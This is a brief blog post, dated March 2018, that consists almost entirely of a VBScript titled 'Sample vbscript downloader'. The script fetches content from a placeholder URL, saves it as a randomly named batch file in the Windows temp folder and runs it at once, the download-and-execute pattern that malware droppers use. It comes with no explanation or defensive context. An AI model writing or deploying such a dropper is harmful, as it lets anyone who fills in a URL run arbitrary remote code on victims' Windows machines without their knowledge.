Thursday, March 1, 2018

Sample vbscript downloader

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
dim shobj: Set shobj = CreateObject("WScript.Shell")
Randomize
dim fname: fname = "c:\\windows\\temp\\???" & Rnd & ".bat"
xHttp.Open "GET", "???url???", False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile fname, 2
end with

shobj.run fname

No comments:

Post a Comment